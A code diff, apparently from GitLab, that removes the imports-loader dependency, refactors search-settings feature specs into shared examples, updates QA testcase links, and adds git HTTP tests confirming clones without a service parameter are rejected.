msgid "NetworkPolicies|Allow"
msgstr ""
msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
msgstr ""
msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
@ -19547,12 +19553,6 @@ msgstr ""
msgid "NetworkPolicies|Delete policy: %{policy}"
msgstr ""
msgid "NetworkPolicies|Deny all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
msgstr ""
msgid "NetworkPolicies|Deny all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
msgstr ""
msgid "NetworkPolicies|Deny all traffic"
msgstr ""

1
package.json
View file

@ -96,7 +96,6 @@
"graphql": "^15.4.0",
"graphql-tag": "^2.11.0",
"immer": "^7.0.7",
"imports-loader": "^0.8.0",
"ipaddr.js": "^1.9.1",
"jed": "^1.1.1",
"jest-transform-graphql": "^2.1.0",

6
qa/qa/specs/features/browser_ui/3_create/web_ide/open_fork_in_web_ide_spec.rb
View file

@ -2,7 +2,7 @@
module QA
RSpec.describe 'Create' do
describe 'Open a fork in Web IDE', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/284081', type: :investigating } do
describe 'Open a fork in Web IDE' do
let(:parent_project) do
Resource::Project.fabricate_via_api! do |project|
project.name = 'parent-project'
@ -14,7 +14,7 @@ module QA
let(:user) { Resource::User.fabricate_or_use(Runtime::Env.gitlab_qa_username_1, Runtime::Env.gitlab_qa_password_1) }
context 'when no fork is present' do
it 'suggests to create a fork when a user clicks Web IDE in the main project', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/959' do
it 'suggests to create a fork when a user clicks Web IDE in the main project', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1697' do
Flow::Login.sign_in(as: user)
parent_project.visit!
@ -34,7 +34,7 @@ module QA
end
end
it 'opens the fork when a user clicks Web IDE in the main project', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/960' do
it 'opens the fork when a user clicks Web IDE in the main project', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1698' do
Flow::Login.sign_in(as: user)
fork_project.upstream.visit!
Page::Project::Show.perform do |project_page|

27
spec/features/admin/admin_search_settings_spec.rb Normal file
View file

@ -0,0 +1,27 @@
# frozen_string_literal: true
require 'spec_helper'
RSpec.describe 'Admin searches application settings', :js do
let_it_be(:admin) { create(:admin) }
let_it_be(:application_settings) { create(:application_setting) }
before do
sign_in(admin)
gitlab_enable_admin_mode_sign_in(admin)
end
context 'in appearances page' do
before do
visit(admin_appearances_path)
end
it_behaves_like 'cannot search settings'
end
context 'in ci/cd settings page' do
let(:visit_path) { ci_cd_admin_application_settings_path }
it_behaves_like 'can search settings with feature flag check', 'Variables', 'Package Registry'
end
end

42
spec/features/profiles/user_search_settings_spec.rb
View file

@ -3,51 +3,23 @@
require 'spec_helper'
RSpec.describe 'User searches their settings', :js do
let(:user) { create(:user) }
let(:search_input_placeholder) { 'Search settings' }
let_it_be(:user) { create(:user) }
before do
sign_in(user)
end
context 'when search_settings_in_page feature flag is on' do
it 'allows searching in the user profile page' do
search_term = 'Public Avatar'
hidden_section_name = 'Main settings'
context 'in profile page' do
let(:visit_path) { profile_path }
visit profile_path
fill_in search_input_placeholder, with: search_term
expect(page).to have_content(search_term)
expect(page).not_to have_content(hidden_section_name)
end
it 'allows searching in the user applications page' do
visit applications_profile_path
expect(page.find_field(placeholder: search_input_placeholder)).not_to be_disabled
end
it 'allows searching in the user preferences page' do
search_term = 'Syntax highlighting theme'
hidden_section_name = 'Behavior'
visit profile_preferences_path
fill_in search_input_placeholder, with: search_term
expect(page).to have_content(search_term)
expect(page).not_to have_content(hidden_section_name)
end
it_behaves_like 'can search settings with feature flag check', 'Public Avatar', 'Main settings'
end
context 'when search_settings_in_page feature flag is off' do
context 'in preferences page' do
before do
stub_feature_flags(search_settings_in_page: false)
visit(profile_path)
visit profile_preferences_path
end
it 'does not allow searching in the user settings pages' do
expect(page).not_to have_content(search_input_placeholder)
end
it_behaves_like 'can search settings', 'Syntax highlighting theme', 'Behavior'
end
end

16
spec/requests/git_http_spec.rb
View file

@ -382,6 +382,14 @@ RSpec.describe 'Git HTTP requests' do
end
end
end
context 'but the service parameter is missing' do
it 'rejects clones with 403 Forbidden' do
get("/#{path}/info/refs", headers: auth_env(*env.values_at(:user, :password), nil))
expect(response).to have_gitlab_http_status(:forbidden)
end
end
end
context 'and not a member of the team' do
@ -409,6 +417,14 @@ RSpec.describe 'Git HTTP requests' do
it_behaves_like 'pushes are allowed'
end
context 'but the service parameter is missing' do
it 'rejects clones with 401 Unauthorized' do
get("/#{path}/info/refs")
expect(response).to have_gitlab_http_status(:unauthorized)
end
end
end
end

5
spec/support/helpers/search_settings_helpers.rb Normal file
View file

@ -0,0 +1,5 @@
# frozen_string_literal: true
module SearchHelpers
self::INPUT_PLACEHOLDER = 'Search settings'
end

42
spec/support/shared_examples/features/search_settings_shared_examples.rb Normal file
View file

@ -0,0 +1,42 @@
# frozen_string_literal: true
RSpec.shared_examples 'cannot search settings' do
it 'does note have search settings field' do
expect(page).not_to have_field(placeholder: SearchHelpers::INPUT_PLACEHOLDER)
end
end
RSpec.shared_examples 'can search settings' do |search_term, non_match_section|
it 'has search settings field' do
expect(page).to have_field(placeholder: SearchHelpers::INPUT_PLACEHOLDER)
end
it 'hides unmatching sections on search' do
expect(page).to have_content(non_match_section)
fill_in SearchHelpers::INPUT_PLACEHOLDER, with: search_term
expect(page).to have_content(search_term)
expect(page).not_to have_content(non_match_section)
end
end
RSpec.shared_examples 'can search settings with feature flag check' do |search_term, non_match_section|
let(:flag) { true }
before do
stub_feature_flags(search_settings_in_page: flag)
visit(visit_path)
end
context 'with feature flag on' do
it_behaves_like 'can search settings', search_term, non_match_section
end
context 'with feature flag off' do
let(:flag) { false }
it_behaves_like 'cannot search settings'
end
end

8
yarn.lock
View file

@ -6143,14 +6143,6 @@ import-local@^3.0.2:
pkg-dir "^4.2.0"
resolve-cwd "^3.0.0"
imports-loader@^0.8.0:
version "0.8.0"
resolved "https://registry.yarnpkg.com/imports-loader/-/imports-loader-0.8.0.tgz#030ea51b8ca05977c40a3abfd9b4088fe0be9a69"
integrity sha512-kXWL7Scp8KQ4552ZcdVTeaQCZSLW+e6nJfp3cwUMB673T7Hr98Xjx5JK+ql7ADlJUvj1JS5O01RLbKoutN5QDQ==
dependencies:
loader-utils "^1.0.2"
source-map "^0.6.1"
imurmurhash@^0.1.4:
version "0.1.4"
resolved "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea"